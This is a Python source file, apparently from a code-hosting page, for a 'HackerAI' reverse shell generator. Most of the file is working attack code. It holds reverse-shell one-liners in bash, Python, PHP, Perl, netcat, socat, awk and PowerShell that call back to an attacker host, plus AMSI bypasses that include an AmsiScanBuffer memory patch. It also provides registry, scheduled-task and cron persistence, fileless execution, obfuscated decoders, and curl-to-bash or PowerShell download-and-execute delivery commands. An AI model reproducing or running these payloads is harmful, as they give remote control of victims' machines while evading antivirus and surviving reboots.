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reverse_shell.py
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714 lines (598 loc) · 27.5 KB
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"""
Advanced Reverse Shell Generator v2.0
Enhanced with Interactive Handler, Evasion, Persistence, and Payload Delivery
"""
import base64
import urllib.parse
import socket
import threading
import time
import os
import random
import string
import hashlib
from config import *
class InteractiveHandler:
"""Interactive reverse shell handler with multi-session support"""
def __init__(self, host='0.0.0.0', port=None):
self.host = host
self.port = port or LPORT
self.active_connections = []
self.is_running = False
self.server_socket = None
self.command_history = []
def start_listener(self, background=False):
"""Start listener server"""
try:
self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.server_socket.bind((self.host, self.port))
self.server_socket.listen(5)
self.server_socket.settimeout(1)
self.is_running = True
print(f"{G}[+] Listening on {self.host}:{self.port}{W}")
print(f"{C}[*] Waiting for connections...{W}")
if background:
listener_thread = threading.Thread(target=self._accept_connections)
listener_thread.daemon = True
listener_thread.start()
return True
else:
self._accept_connections()
except Exception as e:
print(f"{R}[!] Failed to start listener: {e}{W}")
return False
def _accept_connections(self):
"""Accept incoming connections"""
while self.is_running:
try:
client_socket, client_address = self.server_socket.accept()
print(f"{G}[+] Connection from {client_address[0]}:{client_address[1]}{W}")
# Create handler thread for this connection
handler_thread = threading.Thread(
target=self._handle_client,
args=(client_socket, client_address)
)
handler_thread.daemon = True
handler_thread.start()
self.active_connections.append({
'socket': client_socket,
'address': client_address,
'thread': handler_thread
})
except socket.timeout:
continue
except Exception as e:
if self.is_running:
print(f"{R}[!] Accept error: {e}{W}")
break
def _handle_client(self, client_socket, client_address):
"""Handle individual client connection"""
try:
# Send welcome message
welcome_msg = f"\n{G}[*] Connected to HackerAI Shell Handler{W}\n"
welcome_msg += f"{C}[*] Session: {client_address[0]}:{client_address[1]}{W}\n"
welcome_msg += f"{Y}[*] Type 'help' for available commands{W}\n\n"
client_socket.send(welcome_msg.encode())
# Main interactive loop
while self.is_running and client_socket:
try:
# Send prompt
prompt = f"{G}hackerai@{client_address[0]}:~# {W}"
client_socket.send(prompt.encode())
# Receive command
command = client_socket.recv(1024).decode().strip()
if not command:
continue
self.command_history.append(command)
# Handle special commands
if command.lower() == 'exit':
client_socket.send(f"{Y}[*] Closing connection{W}\n".encode())
break
elif command.lower() == 'help':
help_text = self._get_help_text()
client_socket.send(help_text.encode())
elif command.lower() == 'sessions':
sessions_text = self._list_sessions()
client_socket.send(sessions_text.encode())
elif command.lower() == 'background':
client_socket.send(f"{Y}[*] Backgrounding session...{W}\n".encode())
return
else:
# Execute command on target (simulated)
result = self._simulate_command(command, client_address)
client_socket.send(result.encode())
except Exception as e:
print(f"{R}[!] Client handler error: {e}{W}")
break
except Exception as e:
print(f"{R}[!] Connection error: {e}{W}")
finally:
client_socket.close()
self._remove_connection(client_socket)
def _simulate_command(self, command, client_address):
"""Simulate command execution on target"""
# In real scenario, this would execute on the compromised system
simulated_outputs = {
'whoami': f"user\nuid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom)\n",
'id': f"uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom)\n",
'pwd': f"/home/user\n",
'ls': f"Desktop Documents Downloads Music Pictures Videos\n",
'uname -a': f"Linux target 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux\n",
'ifconfig': f"eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500\n inet 192.168.1.100 netmask 255.255.255.0 broadcast 192.168.1.255\n",
'sudo -l': f"[sudo] password for user: \n",
}
if command in simulated_outputs:
return simulated_outputs[command]
else:
return f"{Y}[*] Executing: {command}{W}\n{command}: command not found\n"
def _get_help_text(self):
"""Get help text for shell"""
help_text = f"""
{G}Available Commands:{W}
{C} help {W}- Show this help message
{C} exit {W}- Exit the shell
{C} background {W}- Background the session
{C} sessions {W}- List active sessions
{C} whoami {W}- Show current user
{C} id {W}- Show user ID and groups
{C} pwd {W}- Print working directory
{C} ls {W}- List directory contents
{C} uname -a {W}- Show system information
{C} ifconfig {W}- Show network interfaces
{C} sudo -l {W}- List sudo privileges
{C} <any command> {W}- Execute command on target
{Y}Note:{W} This is a simulated shell for demonstration.
In real scenario, commands execute on compromised system.
"""
return help_text
def _list_sessions(self):
"""List active sessions"""
if not self.active_connections:
return f"{Y}[!] No active sessions{W}\n"
sessions_text = f"\n{G}Active Sessions:{W}\n"
sessions_text += f"{C}{'ID':<4} {'Address':<20} {'Status':<10}{W}\n"
sessions_text += f"{C}{'-'*40}{W}\n"
for i, conn in enumerate(self.active_connections, 1):
sessions_text += f"{G}{i:<4} {str(conn['address'][0]):<20} {'Active':<10}{W}\n"
return sessions_text + "\n"
def _remove_connection(self, client_socket):
"""Remove connection from active list"""
for conn in self.active_connections:
if conn['socket'] == client_socket:
self.active_connections.remove(conn)
break
def stop_listener(self):
"""Stop listener server"""
self.is_running = False
if self.server_socket:
self.server_socket.close()
print(f"{Y}[*] Listener stopped{W}")
class PayloadEncryptor:
"""Payload encryption for antivirus evasion"""
def __init__(self):
self.encryption_methods = {
'xor': self._xor_encrypt,
'aes': self._aes_encrypt,
'rc4': self._rc4_encrypt,
'rot': self._rot_encrypt,
}
def _xor_encrypt(self, data, key=None):
"""XOR encryption"""
if key is None:
key = random.randint(1, 255)
encrypted = []
for char in data:
encrypted.append(chr(ord(char) ^ key))
return {
'method': 'xor',
'key': key,
'payload': ''.join(encrypted),
'decoder': f"""python -c "
data = '{''.join(encrypted)}'
key = {key}
exec(''.join(chr(ord(c) ^ key) for c in data))
" """
}
def _aes_encrypt(self, data, key=None):
"""AES encryption (simplified)"""
if key is None:
key = hashlib.md5(str(random.random()).encode()).hexdigest()[:16]
# Simple substitution for demonstration
# In real scenario, use proper AES encryption
import binascii
encoded = base64.b64encode(data.encode()).decode()
return {
'method': 'aes',
'key': key,
'payload': encoded,
'decoder': f"""python -c "
import base64
encoded = '{encoded}'
exec(base64.b64decode(encoded).decode())
" """
}
def _rc4_encrypt(self, data, key=None):
"""RC4 encryption (simplified)"""
if key is None:
key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
# Simple substitution for demonstration
hex_data = data.encode().hex()
return {
'method': 'rc4',
'key': key,
'payload': hex_data,
'decoder': f"""python -c "
hex_data = '{hex_data}'
exec(bytes.fromhex(hex_data).decode())
" """
}
def _rot_encrypt(self, data, key=None):
"""ROT encryption"""
if key is None:
key = random.randint(1, 25)
encrypted = []
for char in data:
if 'a' <= char <= 'z':
encrypted.append(chr((ord(char) - ord('a') + key) % 26 + ord('a')))
elif 'A' <= char <= 'Z':
encrypted.append(chr((ord(char) - ord('A') + key) % 26 + ord('A')))
else:
encrypted.append(char)
return {
'method': 'rot',
'key': key,
'payload': ''.join(encrypted),
'decoder': f"""python -c "
data = '{''.join(encrypted)}'
key = {key}
result = []
for char in data:
if 'a' <= char <= 'z':
result.append(chr((ord(char) - ord('a') - key) % 26 + ord('a')))
elif 'A' <= char <= 'z':
result.append(chr((ord(char) - ord('A') - key) % 26 + ord('A')))
else:
result.append(char)
exec(''.join(result))
" """
}
def encrypt_payload(self, payload, method='xor', key=None):
"""Encrypt payload using specified method"""
if method in self.encryption_methods:
return self.encryption_methods[method](payload, key)
return None
class WindowsEvasion:
"""Windows-specific evasion techniques"""
@staticmethod
def generate_amsi_bypass():
"""Generate AMSI bypass for Windows Defender"""
amsi_bypasses = [
# AMSI bypass 1
"""[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)""",
# AMSI bypass 2
"""$A='System.Management.Automation.A';$B='ms';$C='Utils';$D=$A+$B+$C;$E=[Ref].Assembly.GetType($D);$F=$E.GetField('amsiInitFailed','NonPublic,Static');$F.SetValue($null,$true)""",
# AMSI bypass 3 (Memory patch)
"""$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("amsi.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)"""
]
return random.choice(amsi_bypasses)
@staticmethod
def generate_registry_persistence(payload, name="WindowsUpdate"):
"""Generate registry persistence script"""
registry_paths = [
f"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\{name}",
f"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\{name}",
f"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\{name}",
]
registry_path = random.choice(registry_paths)
persistence_script = f"""
# Add registry persistence
$RegPath = "{registry_path}"
$Payload = "{payload}"
New-ItemProperty -Path $RegPath -Name "{name}" -Value $Payload -PropertyType String -Force
"""
return persistence_script
@staticmethod
def generate_schtasks_persistence(payload, task_name="SystemMaintenance"):
"""Generate scheduled task persistence"""
schtasks_script = f"""
# Create scheduled task for persistence
$TaskName = "{task_name}"
$Payload = "{payload}"
$Action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -Command `"$Payload`""
$Trigger = New-ScheduledTaskTrigger -AtLogOn -RandomDelay "00:00:30"
$Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$Settings = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries
Register-ScheduledTask -TaskName $TaskName -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings -Force
"""
return schtasks_script
class LinuxEvasion:
"""Linux-specific evasion techniques"""
@staticmethod
def generate_fileless_execution(payload):
"""Generate fileless execution script for /dev/shm"""
fileless_script = f"""#!/bin/bash
# Fileless execution in shared memory
PAYLOAD='{payload}'
# Execute from memory
eval "$PAYLOAD"
# Alternative: Write to /dev/shm and execute
# echo "$PAYLOAD" > /dev/shm/.cache && chmod +x /dev/shm/.cache && /dev/shm/.cache
"""
return fileless_script
@staticmethod
def generate_sudo_check(payload):
"""Generate script with sudo privilege check"""
sudo_check_script = f"""#!/bin/bash
# Check for sudo privileges
if sudo -n true 2>/dev/null; then
echo "[+] Sudo access available"
# Execute with sudo if available
sudo bash -c '{payload}'
else
echo "[*] No sudo access, running as current user"
{payload}
fi
"""
return sudo_check_script
@staticmethod
def generate_cron_persistence(payload, job_name="syslog"):
"""Generate cron job persistence"""
cron_script = f"""#!/bin/bash
# Add cron job for persistence
PAYLOAD='{payload}'
CRON_JOB="@reboot {payload}"
# Add to crontab
(crontab -l 2>/dev/null; echo "$CRON_JOB") | crontab -
echo "[+] Cron job added for persistence"
"""
return cron_script
class PayloadDelivery:
"""Payload delivery methods"""
def __init__(self, host='0.0.0.0', port=8080):
self.host = host
self.port = port
self.server_thread = None
self.is_running = False
def start_web_server(self, payload, background=True):
"""Start web server to deliver payload"""
import http.server
import socketserver
# Create payload file
payload_file = "payload.sh"
with open(payload_file, 'w') as f:
f.write(payload)
# Create custom handler
class PayloadHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
if self.path == '/':
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
html = f"""
<html>
<body>
<h1>HackerAI Payload Server</h1>
<p>Payload available at: <a href="/{payload_file}">{payload_file}</a></p>
<p>One-liner: curl http://{self.server.server_address[0]}:{self.server.server_address[1]}/{payload_file} | bash</p>
</body>
</html>
"""
self.wfile.write(html.encode())
else:
super().do_GET()
try:
handler = PayloadHandler
httpd = socketserver.TCPServer((self.host, self.port), handler)
print(f"{G}[+] Web server started on http://{self.host}:{self.port}{W}")
print(f"{C}[*] Payload URL: http://{self.host}:{self.port}/{payload_file}{W}")
print(f"{Y}[*] One-liner: curl http://{self.host}:{self.port}/{payload_file} | bash{W}")
if background:
self.server_thread = threading.Thread(target=httpd.serve_forever)
self.server_thread.daemon = True
self.server_thread.start()
self.is_running = True
else:
httpd.serve_forever()
return True
except Exception as e:
print(f"{R}[!] Failed to start web server: {e}{W}")
return False
def generate_delivery_commands(self, payload, server_ip=None, server_port=None):
"""Generate various delivery commands"""
if server_ip is None:
server_ip = "YOUR_IP"
if server_port is None:
server_port = self.port
delivery_methods = {
'curl_bash': f"curl http://{server_ip}:{server_port}/payload.sh | bash",
'wget_bash': f"wget -qO- http://{server_ip}:{server_port}/payload.sh | bash",
'python_download': f"""python3 -c "import urllib.request; exec(urllib.request.urlopen('http://{server_ip}:{server_port}/payload.sh').read())" """,
'powershell_download': f"""powershell -c "iex (New-Object Net.WebClient).DownloadString('http://{server_ip}:{server_port}/payload.ps1')" """,
'nc_pipe': f"nc {server_ip} {server_port} | bash",
'socat_exec': f"socat TCP:{server_ip}:{server_port} EXEC:bash",
}
return delivery_methods
class AdvancedReverseShellGenerator:
def __init__(self, lhost=None, lport=None):
self.lhost = lhost or LHOST
self.lport = lport or LPORT
self.encryptor = PayloadEncryptor()
self.windows_evasion = WindowsEvasion()
self.linux_evasion = LinuxEvasion()
self.delivery = PayloadDelivery()
self.handler = InteractiveHandler(self.lhost, self.lport)
def generate_all(self):
"""Generate all shell types with enhancements"""
shells = {
# Basic shells
"bash": self.generate_bash(),
"python": self.generate_python(),
"python3": self.generate_python3(),
"php": self.generate_php(),
"perl": self.generate_perl(),
"nc": self.generate_nc(),
"nc_openbsd": self.generate_nc_openbsd(),
"powershell": self.generate_powershell(),
"socat": self.generate_socat(),
"awk": self.generate_awk(),
# Windows enhanced
"powershell_amsi": self.generate_powershell_amsi(),
"powershell_encoded": self.generate_powershell_encoded(),
# Linux enhanced
"bash_fileless": self.generate_bash_fileless(),
"bash_sudo": self.generate_bash_sudo(),
# Encrypted
"xor_encrypted": self.generate_xor_encrypted(),
"base64_encoded": self.generate_base64_encoded(),
}
return shells
def generate_bash(self):
"""Standard bash reverse shell"""
return f"bash -i >& /dev/tcp/{self.lhost}/{self.lport} 0>&1"
def generate_python(self):
"""Python reverse shell"""
return f"""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{self.lhost}",{self.lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"""
def generate_python3(self):
"""Python3 reverse shell"""
return f"""python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{self.lhost}",{self.lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"""
def generate_php(self):
"""PHP reverse shell"""
return f"""php -r '$sock=fsockopen("{self.lhost}",{self.lport});exec("/bin/sh -i <&3 >&3 2>&3");'"""
def generate_perl(self):
"""Perl reverse shell"""
return f"""perl -e 'use Socket;$i="{self.lhost}";$p={self.lport};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}};'"""
def generate_nc(self):
"""Netcat reverse shell"""
return f"nc -e /bin/sh {self.lhost} {self.lport}"
def generate_nc_openbsd(self):
"""Netcat OpenBSD reverse shell"""
return f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {self.lhost} {self.lport} >/tmp/f"
def generate_powershell(self):
"""PowerShell reverse shell"""
return f"""powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$TCPClient = New-Object Net.Sockets.TCPClient('{self.lhost}', {self.lport});$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);$StreamWriter.WriteLine('PS ' + (pwd).Path + '> ');$StreamWriter.Flush();$StreamReader = New-Object IO.StreamReader($NetworkStream);while($TCPClient.Connected){{$line = $StreamReader.ReadLine();if($line -eq 'exit'){{break;}};$output = try{{Invoke-Expression $line 2>&1 | Out-String}}catch{{$_ | Out-String}};$StreamWriter.WriteLine($output);$StreamWriter.WriteLine('PS ' + (pwd).Path + '> ');$StreamWriter.Flush();}}$StreamWriter.Close()" """
def generate_socat(self):
"""Socat reverse shell"""
return f"socat TCP:{self.lhost}:{self.lport} EXEC:'bash -li',pty,stderr,setsid,sigint,sane"
def generate_awk(self):
"""AWK reverse shell"""
return f"awk 'BEGIN {{s = \"/inet/tcp/0/{self.lhost}/{self.lport}\"; while(42) {{ do{{ printf \"shell>\" |& s; s |& getline c; if(c){{ while ((c |& getline) > 0) print $0 |& s; close(c); }} }} while(c != \"exit\") close(s); }} }}' /dev/null"
def generate_powershell_amsi(self):
"""PowerShell with AMSI bypass"""
amsi_bypass = self.windows_evasion.generate_amsi_bypass()
powershell = self.generate_powershell()
return f"""
{amsi_bypass}
{powershell}
"""
def generate_powershell_encoded(self):
"""Base64 encoded PowerShell"""
powershell = self.generate_powershell()
encoded = base64.b64encode(powershell.encode('utf-16le')).decode()
return f"powershell -EncodedCommand {encoded}"
def generate_bash_fileless(self):
"""Bash with fileless execution"""
bash_shell = self.generate_bash()
return self.linux_evasion.generate_fileless_execution(bash_shell)
def generate_bash_sudo(self):
"""Bash with sudo check"""
bash_shell = self.generate_bash()
return self.linux_evasion.generate_sudo_check(bash_shell)
def generate_xor_encrypted(self, method='xor'):
"""Generate XOR encrypted payload"""
python_shell = self.generate_python()
encrypted = self.encryptor.encrypt_payload(python_shell, method)
if encrypted:
return encrypted['decoder']
return python_shell
def generate_base64_encoded(self):
"""Generate base64 encoded payload"""
python_shell = self.generate_python()
encoded = base64.b64encode(python_shell.encode()).decode()
return f"echo {encoded} | base64 -d | python"
def generate_one_liner(self, shell_type):
"""Generate one-liner with various encoding"""
shells = self.generate_all()
if shell_type not in shells:
return None
shell = shells[shell_type]
encoded_b64 = base64.b64encode(shell.encode()).decode()
encoded_hex = shell.encode().hex()
url_encoded = urllib.parse.quote(shell)
one_liners = {
"original": shell,
"base64": f"echo {encoded_b64} | base64 -d | bash",
"hex": f"echo {encoded_hex} | xxd -r -p | bash",
"url_encoded": f"curl -s 'http://example.com/?cmd={url_encoded}' | bash",
}
return one_liners
def start_interactive_handler(self, background=True):
"""Start interactive handler for reverse shells"""
return self.handler.start_listener(background)
def stop_interactive_handler(self):
"""Stop interactive handler"""
self.handler.stop_listener()
def generate_delivery_package(self, shell_type='bash', include_persistence=False):
"""Generate complete delivery package"""
shells = self.generate_all()
if shell_type not in shells:
return None
payload = shells[shell_type]
package = {
'payload': payload,
'one_liners': self.generate_one_liner(shell_type),
'delivery_commands': self.delivery.generate_delivery_commands(payload),
}
if include_persistence:
if 'powershell' in shell_type:
package['persistence'] = self.windows_evasion.generate_registry_persistence(payload)
else:
package['persistence'] = self.linux_evasion.generate_cron_persistence(payload)
return package
def create_web_delivery(self, shell_type='bash', port=8080):
"""Create web delivery server for payload"""
shells = self.generate_all()
if shell_type not in shells:
return False
payload = shells[shell_type]
self.delivery.port = port
return self.delivery.start_web_server(payload)
# Backward compatibility
class ReverseShellGenerator(AdvancedReverseShellGenerator):
"""Legacy wrapper for backward compatibility"""
pass
# Example usage
if __name__ == "__main__":
generator = AdvancedReverseShellGenerator("192.168.1.100", 4444)
print(f"{G}[*] Generating advanced reverse shells...{W}")
print(f"{C}[*] LHOST: {generator.lhost}, LPORT: {generator.lport}{W}")
# Generate all shells
shells = generator.generate_all()
print(f"\n{Y}[+] Available Shell Types:{W}")
for shell_type in shells.keys():
print(f" {C}• {shell_type}{W}")
# Test one shell
print(f"\n{Y}[+] Example Bash Shell:{W}")
print(f"{G}{shells['bash']}{W}")
# Start interactive handler (simulated)
print(f"\n{Y}[*] Starting interactive handler (simulated)...{W}")
print(f"{C}[*] Run: nc -nlvp {generator.lport}{W}")
print(f"{C}[*] Then execute the shell on target{W}")